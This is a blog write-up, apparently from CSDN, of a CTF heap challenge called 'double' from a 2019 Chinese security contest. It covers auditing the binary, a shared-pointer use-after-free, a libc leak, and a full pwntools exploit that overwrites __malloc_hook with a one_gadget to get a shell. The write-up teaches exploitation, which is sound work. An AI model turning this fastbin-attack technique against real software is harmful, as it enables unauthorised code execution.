2019全国信息安全大赛4.double 堆利用

解题思路

1. 查看文件信息,安全机制
2. 代码审计
3. 分析漏洞点
4. 编写EXP

基本信息

安全机制
在这里插入图片描述
运行
在这里插入图片描述

2.IDA审计

首先是梳理IDA里面的逻辑顺序 ,知道流程的调用
在这里插入图片描述
这是一个主函数调用其他子函数的例子,直接看F5可能是找到不到,想要的结果【调到main函数的代码段,按一下空格就会显示如上图】

3. 分析漏洞点

    if ( qword_4040D8 && !strcmp(*(const char **)(qword_4040D8 + 8), &s2) )
    {
      *ptr = *(_DWORD *)v3 + 1;
      ptr[1] = *(_DWORD *)(v3 + 4);
      *((_QWORD *)ptr + 1) = *(_QWORD *)(v3 + 8);  漏洞点 这里有许多的问题,有知道的师傅可以给小编,讲解一下
      *((_QWORD *)ptr + 2) = 0LL;
      *(_QWORD *)(v3 + 16) = ptr;
      qword_4040D8 = (__int64)ptr;
    

暂时当:这里是我们的漏洞点,当我们创建的两个chunk的内容大小一样的时候,就后有一个指针指向两个同一个chunk的地方
申请两个chunk,先del掉一个chunk。通过修改另一个可以修改到已经free的chunk的内容
思路流程图
在这里插入图片描述脚本流程讲解
1.获取基地址
2.获取伪造chunk的地址(这里利用的劫持malloc_hook->修改为one-gadget)
3.申请chunk,触发漏洞
难点讲解:
首先是找到main_aren,可以打印泄露的main_arena -0x100(0x100随意),找到。要是发现没有将地址的最后一位高位0 ,如下图的
在这里插入图片描述

0x7ffff7dd1ac0 <_IO_wide_data_0+256>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1ad0 <_IO_wide_data_0+272>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1ae0 <_IO_wide_data_0+288>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1af0 <_IO_wide_data_0+304>:	0x00007ffff7dd0260	0x0000000000000000   ----> fake_size
0x7ffff7dd1b00 <__memalign_hook>:	0x00007ffff7a92e20	0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000    ---->malloc_hook
0x7ffff7dd1b20 <main_arena>:	0x0000000000000000	0x0000000000405000
0x7ffff7dd1b30 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>:	0x0000000000000000	0x0000000000000000

先确定大小,通过修改最后一位(0-f),发现到5的时候有了0x7f(这是一个定值,一般会利用这)
|0x7ffff7dd1af5-0x7ffff7dd1b10 |= 0x1b(27)
相差27数据的填写是从chunk_size + 8(bk) 开始的,所以27-8 =19(在填充19个a就可以覆盖到mallo_hook)

EXP

#!/usr/bin/env python
#coding=utf8
from pwn import *
#context.log_level = 'debug'   #显示调试的信息
context.terminal = ['gnome-terminal','-x','bash','-c']   #调试终端

local = 1  #设置是本地还是远程渗透

if local:
    p = process('./pwn')
    #bin = ELF('./',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    p = remote('pwn2.jarvisoj.com',9882)
   # bin = ELF('./',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    pass
 
def  add(content):
  p.recvuntil('> ')
  p.sendline('1')
  p.recvuntil('Your data:\n')
  p.sendline(content)
def show(index):
  p.recvuntil('> ')
  p.sendline('2')
  p.recvuntil('Info index: ')
  p.sendline(str(index))
def edit(index,content):
  p.recvuntil('> ')
  p.sendline('3')
  p.recvuntil('Info index: ')
  p.sendline(str(index))
  p.sendline(content)
def delete(index):
  p.recvuntil('> ')
  p.sendline('4')
  p.recvuntil('Info index: ')
  p.sendline(str(index))



add('a'*0x80)  #index = 0
add('a'*0x80)  #index = 1
delete(0)
show(1)
#-----------------------------------------
printf_got=libc.symbols['puts']
log.success('printf_got='+hex(printf_got))

unsort_addr=u64(p.recv(6).ljust(8,'\x00'))
log.success('unsort_addr='+hex(unsort_addr))
#-----------------------------------------
libc_base=unsort_addr-0x3c4b78
one_gadget=libc_base+0x4526a

fake_addr=libc_base+libc.symbols['__malloc_hook']-0x1b-8  #这里是难点 
print('libc_fake='+hex(fake_addr))

#------------------------------------------
add(0x60*'b') #index= 2
add(0x60*'b')   #index= 3
delete(2)
#gdb.attach(p)
payload1=p64(fake_addr).ljust(0x60,'\x00')
edit(3,payload1)
add(0x60*'c') #index= 4
payload2=0x13*'a'+p64(one_gadget)
payload2=payload2.ljust(0x60,'\x00')
add(payload2) #index= 5

p.recvuntil('> ')
p.sendline('1')  #触发漏洞

p.interactive()


onegadget 一个神奇的工具 用来找libc中能一个gadget就get到shell的偏移
用法:one_gadget /lib/x86_64-linux-gnu/libc.so.6

在这里插入图片描述
参考文献:
**看雪:**https://bbs.pediy.com/thread-250962.htm
**安全客:**https://www.anquanke.com/post/id/177035#h3-6
csdn: https://blog.youkuaiyun.com/qq_37415423/article/details/89816638

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值